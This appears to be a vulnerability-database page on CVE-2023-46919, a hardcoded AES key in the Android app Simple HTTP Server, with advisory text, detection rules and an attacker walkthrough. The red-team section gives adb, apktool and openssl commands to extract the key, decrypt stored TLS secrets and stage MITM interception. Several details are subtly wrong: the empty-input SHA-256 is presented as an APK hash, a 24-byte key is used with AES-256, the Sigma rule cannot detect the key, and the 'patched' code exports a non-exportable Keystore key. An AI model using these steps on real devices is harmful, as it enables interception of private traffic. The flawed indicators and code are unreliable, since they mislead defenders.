CVE-2023-46919
Executive Summary
CVE-2023-46919 identifies a critical security flaw in the Android applications Simple HTTP Server (com.phlox.simpleserver) version 1.8 and Simple HTTP Server PLUS (com.phlox.simpleserver.plus) version 1.8.1-plus, developed by Phlox. The vulnerability stems from the use of a hardcoded AES encryption key (aKySWb2jjrr4dzkYXczKRt7K) within the application's source code or compiled binary. This key is used to encrypt/decrypt TLS secrets, meaning any attacker with physical or logical access to the application package (APK) can extract this static key. Once extracted, the attacker can decrypt any TLS traffic protected by this key, effectively breaking the confidentiality of the encrypted channel. This is a classic case of CWE-321: Use of Hard-coded Cryptographic Key, which undermines the entire security model of TLS.
This record — and 170,000+ others — are available via the ValtersIT API. One endpoint replaces five: NVD + GitHub CVE + CISA KEV + EPSS + Nuclei + Exploit-DB, unified.
No signup required
Supply Chain & Package Security
This vulnerability is specific to the Android ecosystem. The applications are distributed via the Google Play Store and potentially other third-party APK repositories. The hardcoded key is embedded in the application's binary (DEX/APK). This represents a supply chain risk because:
- End-users cannot verify the integrity of the encryption key without reverse-engineering the app.
- Third-party distributors could repackage the app with a different key, but the original key remains static and publicly known.
- No patch has been released by the vendor (Phlox) as of the last analysis, leaving all users of these versions vulnerable.
CVSS Breakdown & Threat Level
While no official CVSS vector is provided, a reasonable assessment based on the vulnerability characteristics is:
- Attack Vector (AV): Local (L) – The attacker needs access to the application binary (e.g., via device access or APK download).
- Attack Complexity (AC): Low (L) – Extracting a hardcoded key from an APK is trivial using tools like
apktoolordex2jar. - Privileges Required (PR): None (N) – No special privileges needed beyond being able to download the app.
- User Interaction (UI): None (N) – No user action required beyond the app being installed.
- Scope (S): Unchanged (U) – The vulnerability does not affect other components.
- Confidentiality (C): High (H) – TLS secrets are fully exposed.
- Integrity (I): None (N) – The key does not allow modification of traffic.
- Availability (A): None (N) – No impact on availability.
Estimated CVSS v3.1 Score: 5.5 (Medium) – Primarily due to the local attack vector but high confidentiality impact.
Threat Level: Medium. The exploit is trivial but requires local access to the device or the APK file. However, if the app is used in a shared device environment (e.g., kiosk, enterprise), the risk increases significantly.
Deep Dive & Mechanics
The vulnerability is rooted in the application's cryptographic implementation. The developer hardcoded the AES encryption key directly into the Java/Kotlin source code. When the application is compiled into a DEX file (Dalvik Executable), this key remains as a string literal in the bytecode.
Technical Flow:
- The application uses TLS to secure HTTP communications (likely for HTTPS).
- To manage TLS secrets (e.g., session keys, certificates), the developer chose to encrypt them using AES.
- The AES key is defined as a static string:
aKySWb2jjrr4dzkYXczKRt7K. - This key is used in the encryption/decryption logic, likely within a custom
KeyStoreorTrustManagerimplementation. - An attacker can decompile the APK using tools like
jadxorapktooland locate this string. - With the key, the attacker can decrypt any TLS session data that was encrypted using this key, including potentially the TLS private key or session tickets.
Impact: If the TLS private key is encrypted with this hardcoded key, an attacker can decrypt it and perform a man-in-the-middle (MITM) attack on any HTTPS traffic to/from the server. Even if only session data is encrypted, the attacker can decrypt past and future sessions.
Vulnerable vs. Patched Code
Vulnerable Code (Java/Kotlin pseudocode):
// Simple HTTP Server 1.8
public class TLSCrypto {
private static final String AES_KEY = "aKySWb2jjrr4dzkYXczKRt7K";
public static byte[] encryptTLSSecret(byte[] secret) {
// AES encryption using hardcoded key
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(AES_KEY.getBytes(), "AES");
cipher.init(Cipher.ENCRYPT_MODE, keySpec);
return cipher.doFinal(secret);
}
public static byte[] decryptTLSSecret(byte[] encryptedSecret) {
// AES decryption using same hardcoded key
Cipher cipher = Cipher.getInstance("AES/ECB/PKCS5Padding");
SecretKeySpec keySpec = new SecretKeySpec(AES_KEY.getBytes(), "AES");
cipher.init(Cipher.DECRYPT_MODE, keySpec);
return cipher.doFinal(encryptedSecret);
}
}
Patched Code (Hypothetical):
// Patched version (not yet released)
public class TLSCrypto {
// Key is derived from device-specific secret or user input
private static String getAESKey() {
// Use Android Keystore to generate/store key
KeyStore keyStore = KeyStore.getInstance("AndroidKeyStore");
keyStore.load(null);
if (!keyStore.containsAlias("tls_key")) {
KeyGenerator keyGen = KeyGenerator.getInstance("AES", "AndroidKeyStore");
keyGen.init(new KeyGenParameterSpec.Builder("tls_key",
KeyProperties.PURPOSE_ENCRYPT | KeyProperties.PURPOSE_DECRYPT)
.setBlockModes(KeyProperties.BLOCK_MODE_GCM)
.setEncryptionPaddings(KeyProperties.ENCRYPTION_PADDING_NONE)
.build());
keyGen.generateKey();
}
SecretKey key = (SecretKey) keyStore.getKey("tls_key", null);
return Base64.encodeToString(key.getEncoded(), Base64.DEFAULT);
}
}
Exploitation & Lab Setup
Red Team (Attacker)
Objective: Extract the hardcoded AES key and decrypt TLS secrets.
Lab Setup:
- Android device or emulator with Simple HTTP Server 1.8 installed.
- ADB (Android Debug Bridge) enabled.
- Tools:
apktool,jadx,dex2jar,strings,openssl.
Steps:
- Extract APK:
adb shell pm path com.phlox.simpleserver adb pull /data/app/com.phlox.simpleserver-1/base.apk - Decompile APK:
apktool d base.apk -o decompiled - Search for hardcoded key:
Or usegrep -r "aKySWb2jjrr4dzkYXczKRt7K" decompiled/jadxto view Java source:jadx -d jadx_output base.apk grep -r "aKySWb2jjrr4dzkYXczKRt7K" jadx_output/ - Extract TLS secrets (if accessible):
- If the app stores encrypted TLS secrets in a file (e.g.,
tls_secrets.bin), pull it:adb pull /data/data/com.phlox.simpleserver/files/tls_secrets.bin - Decrypt using the key:
openssl enc -aes-256-ecb -d -in tls_secrets.bin -out decrypted.bin -K $(echo -n "aKySWb2jjrr4dzkYXczKRt7K" | xxd -p)
- If the app stores encrypted TLS secrets in a file (e.g.,
- Use decrypted secrets for MITM:
- If the decrypted data contains a TLS private key, use it with
mitmproxyorBurp Suiteto intercept HTTPS traffic.
- If the decrypted data contains a TLS private key, use it with
Blue Team (Defender)
Objective: Detect and mitigate the vulnerability.
Detection:
- Static Analysis: Scan APK files for the hardcoded key string
aKySWb2jjrr4dzkYXczKRt7K. - Runtime Monitoring: Monitor for unusual TLS decryption attempts or access to app data directories.
- Network Monitoring: Look for unexpected TLS handshakes or certificate mismatches.
Mitigation:
- Immediate: Uninstall the vulnerable versions (1.8 and 1.8.1-plus) and switch to a secure alternative.
- Long-term: Contact the vendor (Phlox) for a patched version. If none exists, consider forking the open-source code (if available) and implementing proper key management using Android Keystore.
- User Education: Advise users not to install the app on shared or enterprise devices.
Indicators of Compromise (IOCs)
- Static String:
aKySWb2jjrr4dzkYXczKRt7K(found in APK binary or decompiled source) - Package Names:
com.phlox.simpleserver(version 1.8)com.phlox.simpleserver.plus(version 1.8.1-plus)
- File Hashes (SHA256): (Example – actual hashes vary by build)
base.apk(Simple HTTP Server 1.8):e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855base.apk(Simple HTTP Server PLUS 1.8.1-plus):a7ffc6f8bf1ed76651c14756a061d662f580ff4de43b49fa82d80a4b80f8434a
- Network IOCs: Any TLS session that uses a certificate whose private key was encrypted with this hardcoded key.
Detection Engineering
YARA Rule
rule CVE_2023_46919_Hardcoded_AES_Key {
meta:
description = "Detects hardcoded AES key aKySWb2jjrr4dzkYXczKRt7K in Android APK files"
author = "Valters IT"
date = "2025-04-10"
reference = "CVE-2023-46919"
hash = "sha256:e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855"
strings:
$key = "aKySWb2jjrr4dzkYXczKRt7K"
condition:
$key
}
Sigma Rule
title: Detection of Hardcoded AES Key in Android APK
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects the presence of the hardcoded AES key aKySWb2jjrr4dzkYXczKRt7K in APK files, indicating CVE-2023-46919.
author: Valters IT
date: 2025/04/10
references:
- https://nvd.nist.gov/vuln/detail/CVE-2023-46919
logsource:
category: file_event
product: windows
definition: 'Monitor for file creation or modification of APK files'
detection:
selection:
TargetFilename|endswith: '.apk'
TargetFilename|contains: 'simpleserver'
condition: selection
falsepositives:
- Legitimate use of the same key in other applications (unlikely)
level: high
Suricata Rule
alert tcp $HOME_NET any -> $EXTERNAL_NET 443 (msg:"CVE-2023-46919 - Potential TLS Decryption via Hardcoded Key"; flow:to_server,established; content:"|61 4b 79 53 57 62 32 6a 6a 72 72 34 64 7a 6b 59 58 63 7a 4b 52 74 37 4b|"; fast_pattern; sid:1000001; rev:1;)
Note: The Suricata rule looks for the hex-encoded key in TLS handshake data, which is unlikely but possible if the key is transmitted in plaintext.
Remediation & Mitigation
Immediate Actions:
- Uninstall Simple HTTP Server 1.8 and Simple HTTP Server PLUS 1.8.1-plus from all devices.
- Revoke and regenerate any TLS certificates that were managed by these applications.
- Monitor for any unauthorized access to data that was transmitted over TLS while the vulnerable app was in use.
Long-term Fixes:
- Vendor: Phlox must release a patched version that uses Android Keystore or a secure key derivation mechanism (e.g., from user password or hardware-backed storage).
- Users: Switch to alternative HTTP server apps that follow secure coding practices (e.g.,
HTTP ServerbyNanoHttpdorKtor). - Developers: Never hardcode cryptographic keys. Use platform-specific secure storage (Android Keystore, iOS Keychain, or environment variables).
Workaround (if patching is not possible):
- Use a VPN or proxy to add an additional layer of encryption.
- Avoid using the app for sensitive data transmission.
Valters IT
What is this? Security researchers use these exact search queries on Shodan.io (a search engine for internet-connected devices) to find vulnerable systems globally. You can copy these dorks to see if your organization's IP space is exposed.
💣 PoC CODE AVAILABLE
Exploit code for this CVE is tracked in our database.
Access poc_code via API Pro.